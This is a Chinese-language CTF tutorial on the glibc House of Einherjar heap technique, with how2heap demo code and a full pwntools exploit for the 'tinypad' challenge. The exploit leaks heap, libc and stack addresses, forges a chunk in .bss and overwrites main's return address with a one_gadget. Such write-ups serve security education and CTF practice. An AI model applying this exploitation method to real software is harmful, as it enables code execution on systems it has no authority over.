House Of Einherjar 技术可以强制使得 malloc 返回一个几乎任意地址的 chunk,House Of Einherjar这种技术可以利用释放堆块下一个块是top_chunk的时候,free会与相邻后向地址进行合并这一特性。也可以直接利用后向合并
溢出写、off by one、off by null
2.23—— 至今
可分配大于处于 unsortedbin 的 chunk
利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。
申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做 gap,chunk A、chunk C 都要处于 unsortedbin 范围
释放 A,进入 unsortedbin
对 B 写操作的时候存在 off by null,修改了 C 的 P 位
释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头
虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。
最开始的 unlink 的代码是:
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
// ..... \
} \
}
只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunk 的 presize 域。
高版本的 unlink 的条件是:
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
// ......
}
新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。
构造 chunk overlap 后,可以任意地址分配
结合其他方法进行任意地址读写
free 后向合并
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
其中 chunk_at_offset()为一个宏,定义如下:
/* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
所以以上代码就很清楚了:
先检查 size 的 p 标志是否为 0(即上一个物理相邻的 chunk 是否处于空闲状态)
将指针 p 设置为 p - prevszie
进行 unlink 检查
free 合并 top_chunk
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
set_head()为一宏,定义如下:
/* Set size/use field */ #define set_head(p, s) ((p)->size = (s))
所以这里很简单,直接将 size 设置为 size + nextsize,然后直接将 top_chunk_ptr 指向 p
后向合并 + top_chunk 合并
在上面的代码中我们知道,合并 top_chunk 时并没有进行任何检查;
这里使用how2heap 中 glibc-2.23 中的例子:
#include#include #include #include #include int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); uint8_t* a; uint8_t* b; uint8_t* d; a = (uint8_t*) malloc(0x38); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); size_t fake_chunk[6]; fake_chunk[0] = 0x100; fake_chunk[1] = 0x100; fake_chunk[2] = (size_t) fake_chunk; fake_chunk[3] = (size_t) fake_chunk; fake_chunk[4] = (size_t) fake_chunk; fake_chunk[5] = (size_t) fake_chunk; printf("Our fake chunk at %p looks like:\n", fake_chunk); b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b); printf("b: %p\n", b); uint64_t* b_size_ptr = (uint64_t*)(b - 8); printf("\nb.size: %#lx\n", *b_size_ptr); a[real_a_size] = 0; printf("b.size: %#lx\n", *b_size_ptr); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; fake_chunk[1] = fake_size; free(b); printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d); return 0; }
动态调试一波:
程序先创建0x40、0x100的chunk_a 与 chunk_b;
伪造 fake_chunk,其中fd,bk,fd_nextsize、bk_nextsize 都指向 fake_chunk 的块地址,这里是为了绕过 unlink 检查

计算 fake_size:fake_size = chunk_b 的块地址 - fake_chunk 的块地址(这里 fake_chunk 在栈上,所以 fake_size 为负数)
设置 chunk_b.prev_size = fake_size = fake_chunk.size;一是为了绕过 unlink,二是为了使得后向合并后 b 指针指向 fake_chunk
然后释放 chunk_b 时,检查其 size 发现 p 标志为0,则进行后向合并
prevsize = p->prev_size; // prevsize = fake_size size += prevsize; // size = size + fake_size p = chunk_at_offset(p, -((long) prevsize)); // b = b - fake_size = fake_chunk_malloc_addr unlink(av, p, bck, fwd); // 因为 fake_chunk的 fd,bk等都伪造好了,所以这里是可以通过检查的
所以经过后向合并后,指针 b 就指向了 fake_chunk
这里 chunk_b 是与 top_chunk 物理相邻的,所以这里还会进行 top_chunk 合并
size += nextsize; // size = size + old_top_chunk_size set_head(p, size | PREV_INUSE); // b->size = fake_chunk->size = size av->top = p; // av->top = b = fake_chunk
所以经过后向合并,fake_chunk 就成了 top_chunk,那么后面我们申请的 chunk 就会从 fake_chunk 中分配

在利用方式1中,我们的 fake_chunk 在栈上,所以 fake_chunk 在高地址处;在这里我们在 chunk 的 user_data 中伪造 chunk 来实现 chunk overlapping.
利用原理:后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize)) ,所以只要我们能够修改 prev_size 和 size 则可以触发后向合并到我们想要的位置;注意 unlink 的绕过
利用方式:
利用 chunk 的复用去修改 next_chunk 的 prev_size 域
利用 off by one/null 等漏洞去修改 next_chunk 的 size 域
释放相关 chunk 触发后向合并从而实现 chunk_overlapping

wiki-eg:这里我有点蠢了,因为既然都能够覆盖 s2 的 prev_size 和 size 了,那直接正常释放 s0,然后修改 s2 的 prev_size 和 size就行了,没必要去伪造了>_<,当然之前都写了,那就不改了,原理反正都一样
#include#include #include int main(void){ long long* s0 = malloc(0x80); //构造fake chunk long long* s1 = malloc(0x10); long long* s2 = malloc(0x80); long long* s3 = malloc(0x20); //为了不让s2与top chunk 合并 s0[0] = 0; s0[1] = 0x21; s0[2] = (long long)&s0[0]; s0[3] = (long long)&s0[0]; s0[4] = 0x20; s2[-2] = 0xA0; s2[-1] = 0x90; free(s2); long long* s0_ = malloc(0x70); long long* s1_ = malloc(0x10); printf("s1:%p\ns1_:%p\n", s1, s1_); return 0; }
先创建四个 chunk0-3,大小分别为0x90,0x20,0x90,0x30;其中 chunk3 用来隔离 top_chunk
在 chunk0 中伪造 fake_chunk,伪造的数据用于绕过 unlink
fake_chunk: prev_size=0; size=0x21; fd=fake_chunk;bk=fake_chunk next_chunk_prev_szie=0x20;
修改 chunk2 的 prev_size 和 size:prev_size=0xA0;size=0x90
释放 chunk2:
这里检测到 chunk2.size 的 p 标志为0,说明物理相邻的上一个 chunk 处于空闲状态,则进行后向合并:
size = size + prev_size = 0x90 + 0xA0 = 0x130
s2 = s2 - prev_size = s2 - 0xA0 = fake_chunk_malloc_ptr
所以此时 chunk0-2 被合并成了一个大堆块给放进了 unsortedbin 中
再申请的 chunk_s0_ 其实就是 fake_chunk,申请的 chunk_s1_ 就是 chunk1
这里大家可以调一调,很简单,这里就不展示了>_<
上面是在我们申请的 chunk 中伪造的 fake_chunk 即我们想分配的地址在 正常的 chunk 中;但是如果我们想分配的地址不在 chunk 中呢?那么为了后面能够正常申请,我们还需要伪造 fd、bk 指向 unsortedbin
总而言之想要利用这个漏洞,我们需要做以下事情:
需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
这个题直接给我做,感觉还是挺难的,但是放在 house of einherjar 这个环境下,还是可以做的;
但是这里比较麻烦的是:程序开启了 got 表不可写,所以打不了 got 表;且 edit 写入时有 \x00 截断,所以导致我们不能打 hook,所以这里是去把 main 函数返回地址给修改成为 one_gadget,所以这里就多了一步泄漏栈地址
程序只有 PIE 没开,考虑可以打 hook(事实是不行的,当然后面再说为啥)
程序主要逻辑:
程序在 main 函数中实现了三个功能:Add,Delete,Edit;并且每次选择后都会把 chunk 中的内容给输出
Add 功能
申请一个 chunk,大小不大于 0x110;且把 chunk 的 user_data 大小存储在tinypad[16 * index + 256],把 malloc_ptr 存储在tinypad[16 * index + 264];最多申请 4 个chunk
注意:这里判断 index 位置是否空闲的是根据 user_data 大小来判断的;且这里的 read_until 函数是存在 off by null 漏洞的,具体可以自己分析一下。
if ( cmd != 'A' )
goto LABEL_41;
while ( index <= 3 && *&tinypad[16 * index + 256] )// 获取空闲位置的下标
++index;
if ( index == 4 )
{
writeln("No space is left.", 17LL);
}
else
{ //获取 chunk 大小
size = -1;
write_n("(SIZE)>>> ", 10LL);
size = read_int();
if ( size <= 0 )
{
v5 = 1;
}
else
{
v5 = size;
if ( size > 0x100 )
v5 = 0x100;
} // chunk_size <= 0x110
size = v5;
*&tinypad[16 * index + 256] = v5;
*&tinypad[16 * index + 264] = malloc(size);
if ( !*&tinypad[16 * index + 264] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL);
read_until(*&tinypad[16 * index + 264], size, 10); //off by null
writeln("\nAdded.", 7LL);
}
Delete 功能
注:这里的 index 是从 1 开始的,所以这里的tinypad[16 * index + 240]对应的就是上面的tinypad[16 * index + 256]也就是 chunk 的 user_data 的大小,同理tinypad[16 * index + 248]存储的就是 chunk 的 malloc_ptr
释放后会把 user_data 的大小清零,但是没有将指针置空
if ( cmd == 'D' )
{
write_n("(INDEX)>>> ", 11LL);
index = read_int();
if ( index <= 0 || index > 4 )
{
LABEL_29:
writeln("Invalid index", 13LL);
continue;
}
if ( !*&tinypad[16 * index + 240] ) // 注意这里 1<=index<=4
{
LABEL_31:
writeln("Not used", 8LL);
continue;
}
free(*&tinypad[16 * index + 248]); // UAF
*&tinypad[16 * index + 240] = 0LL;
writeln("\nDeleted.", 9LL);
}
Edit 功能
这里的 Edit 很有意思
这里并不是直接向 chunk 中写入数据,而是先根据 Add 时输入的 content 长度 old_len,把数据先写入 tinypad 处,然后再将 tinypad 处的数据复制到 chunk 中;但是这里 strcpy 有 \x00 截断,并且是使用 strlen 函数计算的 old_len,所以这里也会有 \x00截断
所以每次写入的数据都不能比上一次写入的多
存在 off by null
write_n("(INDEX)>>> ", 11LL);
index = read_int();
if ( index <= 0 || index > 4 )
goto LABEL_29;
if ( !*&tinypad[16 * index + 240] )
goto LABEL_31;
c = '0';
strcpy(tinypad, *&tinypad[16 * index + 248]);
while ( toupper(c) != 'Y' )
{
write_n("CONTENT: ", 9LL);
v6 = strlen(tinypad);
writeln(tinypad, v6);
write_n("(CONTENT)>>> ", 13LL);
old_len = strlen(*&tinypad[16 * index + 248]);
read_until(tinypad, old_len, 10);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL);
read_until(&c, 1uLL, 10);
}
strcpy(*&tinypad[16 * index + 248], tinypad);// \x00截断,off by null
writeln("\nEdited.", 8LL);
通过上面的分析:我们知道了
Add 时会把 chunk 的 malloc_ptr 存储在 tinypad 数组的某个位置,最多4个,写入 content 时存在 off by null;且 chunk 不大于 0x110
Delete 时会把存储在 tinypad 数组中的 user_data 给清零,但是没有将 chunk 指针置空,存在 UAF
Edit 时会先把数据写入 tinpypad 开始处,然后再复制到 chunk 中
tinpypad 内部存储的数据如下:
这里我们知道 chunk 的 user_data 最大为 0x100,所以在 Edit 的时候,在将把输入数据写入 tinypad 开始处时,不会覆盖到 malloc_ptr(由于 off by null,这里是可以覆盖到第一个 size 的低字节的,但是没啥用)

虽然我们不能直接覆盖 malloc_ptr,但是 tinypad 的前 256 个字节是可控的,所以我们可以在里面伪造一个 fake_chunk 去绕过 unlink 检查,并且我们可以通过 0x18,0x28,0xf8等等特殊的 chunk 去修改下一个 chunk 的 prev_size,并且可以通过 off by null 去修改 prev_inuse 标志,那么就可以完成后向合并了;这里我们最大可以申请0x100的chunk,所以我们把 fake_chunk 伪造在 tinypad + 0x40 处,那么那就可以包含四个 malloc_ptr了。
但是这里不能打 hook ,因为 (malloc/free)hook 里面的内容为 0,而在 Edit 时,是通过 strlen 去计算长度的,所以我们无法向 hook 中写入 one_gadget;所以这里将 main 函数的返回地址修改为 one_gadget
Exp 讲解:
第一步 泄漏 heap_base 和 libc
Add(0x10, b'A') Add(0xF8, b'A') Add(0x10, b'A') Add(0x20, b'A') Delete(3) Delete(1) Delete(2) Delete(4)
先创建 4 个chunk,然后按照该顺序释放 chunk
输出 chunk 内容关键代码:
len = strlen(*&tinypad[16 * i + 264]); writeln(*&tinypad[16 * i + 264], len);
可以看到,由于 strlen 的 \x00 截断,这里我们先释放 chunk3,不然的话就变成了 0xad2120->0xad2000<-0x0,这里 0xad2000会因为 \x00 截断而无法输出 heap_base,这个在 unlink 哪里,我好像讲过。
这里之所以要泄漏 heap_base,是因为要伪造 fake_size,而 fake_size = target_addr - freed_chunk_addr

第二步 计算 fake_size 并重新申请 chunk
fake_chunk_header_addr = 0x602040 + 0x40
fake_size = heap_base + 0x20 - fake_chunk_header_addr
print("fake_szie:", hex(fake_size))
Add(0x18, b'A'*0x10 + p64(fake_size)) //伪造 prev_size 和 prev_inuse
Add(0xF8, b'B'*0xF0)
Add(0x80, b'C'*0x80)
Add(0x80, b'D'*0x80)
这里的第一个 0x18 和第二个 0xF8 的chunk 会复用上面的 第一个 0x10 和第二个 0xF8 的chunk;且这个 0xF8 的 chunk 就是后面我们要用来释放去后向合并的chunk;我们将它称为 victim
我们利用 prev_size 的复用 和 off by null 将 victim 的 prev_size 和 prev_inuse 给篡改了

第三步 伪造 chunk 去绕过 unlink检查
prev_size = 0 size = 0x21 fd = fake_chunk_header_addr bk = fake_chunk_header_addr next_chunk_prevsize = 0x20 fake_chunk = p64(prev_size) + p64(size) + p64(fd) + p64(bk) payload = b'A'*0x40 + fake_chunk + p64(next_chunk_prevsize) Edit(3, payload)
我们在 tinpypad + 0x40 处伪造了一个 fake_chunk

第四步 触发后向合并
Delete(2)
当我们释放 victim 时,它检查到 prev_inuse 为0,所以就会根据 prev_size 进行后向合并;
可以看到 0x602080 即 tinypad + 0x40 已经被挂进 unsortedbin 中了

但是这里有个问题,就是 tinypad + 0x40 这个伪造的 fake_chunk 的 size 太大了,我们将它修改为 0x100
payload = b'A'*0x40 + p64(0) + p64(0x101) + p64(unsorted_bin)*2 Edit(4, payload)
注意:Edit 会先把 chunk4 的内容复制到 tinypad 处,这时会覆盖 tinypad 的 fd,bk,所以我们手动再修改回来即可

申请 fake_chunk
后面就简单了,我们再申请一个 0xF8的chunk,就会分配到这个 fake_chunk,从而就可以修改存储着 tinypad 中的 malloc_ptr 了
payload = b'a'*0xB0 + p64(0x18) + p64(environ_addr) + p64(0xF8) + p64(0x602148) + p8(0x80) Add(0xF8, payload)
可以看到我们将第一个 malloc_ptr 给修改成了 environ_addr,第二个 malloc_ptr 给修改成立 0x6020148 也就是存储第一个 malloc_ptr的位置;
这时就会输出 environ了,就成功泄漏的栈地址,从而可以得到存储函数返回地址的栈地址

我们知道第二个 malloc_ptr 指向的是存储着第一个 malloc_ptr 的地址,所以我们通过Edit(2, p64(ret_addr)) 修改第一个 malloc_ptr 指向 ret_addr

然后再通过 Edit(1, p64(one_gadget1))去修改 ret_value
完整 exp:
from pwn import *
if args['DEBUG']:
context.log_level = 'debug'
io = process("./tinypad")
elf = ELF("./tinypad")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
def Add(size, content):
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'a')
io.recvuntil(b'(SIZE)>>> ')
io.sendline(str(size).encode())
io.recvuntil(b'(CONTENT)>>> ')
io.sendline(content)
def Delete(index):
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'd')
io.recvuntil(b'(INDEX)>>> ')
io.sendline(str(index).encode())
def Edit(index, content, cmd = b'Y'):
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'e')
io.recvuntil(b'(INDEX)>>> ')
io.sendline(str(index).encode())
io.recvuntil(b'(CONTENT)>>> ')
io.sendline(content)
io.recvuntil(b'(Y/n)>>> ')
io.sendline(cmd)
Add(0x10, b'A')
Add(0xF8, b'A')
Add(0x10, b'A')
Add(0x20, b'A')
Delete(3)
Delete(1)
Delete(2)
Delete(4)
io.recvuntil(b'# CONTENT: ')
heap_base = u64(io.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x120
#io.recvuntil(b'# CONTENT: ')
io.recvuntil(b'# CONTENT: ')
unsorted_bin = u64(io.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
main_arena = unsorted_bin - 88
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
print("heap_base:", hex(heap_base))
print("unsorted_bin:", hex(unsorted_bin))
print("main_arena:", hex(main_arena))
print("libc_base:", hex(libc_base))
#debug()
fake_chunk_header_addr = 0x602040 + 0x40
fake_size = heap_base + 0x20 - fake_chunk_header_addr
print("fake_szie:", hex(fake_size))
Add(0x18, b'A'*0x10 + p64(fake_size))
Add(0xF8, b'B'*0xF0)
Add(0x80, b'C'*0x80)
Add(0x80, b'D'*0x80)
#debug()
prev_size = 0
size = 0x21
fd = fake_chunk_header_addr
bk = fake_chunk_header_addr
next_chunk_prevsize = 0x20
fake_chunk = p64(prev_size) + p64(size) + p64(fd) + p64(bk)
payload = b'A'*0x40 + fake_chunk + p64(next_chunk_prevsize)
Edit(3, payload)
#debug()
Delete(2)
#debug()
payload = b'A'*0x40 + p64(0) + p64(0x101) + p64(unsorted_bin)*2
Edit(4, payload)
#debug()
environ_addr = libc_base + libc.symbols['__environ']
print("environ_addr:", hex(environ_addr))
payload = b'a'*0xB0 + p64(0x18) + p64(environ_addr) + p64(0xF8) + p64(0x602148) + p8(0x80)
Add(0xF8, payload)
io.recvuntil(b'# CONTENT: ')
environ = u64(io.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
ret_addr = environ - 0xF0
print("environ:", hex(environ))
print("ret_addr:", hex(ret_addr))
#debug()
one_gadget1 = libc_base + 0x45226
one_gadget2 = libc_base + 0x4527a
one_gadget3 = libc_base + 0xf03a4
one_gadget4 = libc_base + 0xf1247
Edit(2, p64(ret_addr))
#debug()
Edit(1, p64(one_gadget1))
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'q')
io.interactive()
PWN——House Of Einherjar CTF Wiki例题详解-安全客 - 安全资讯平台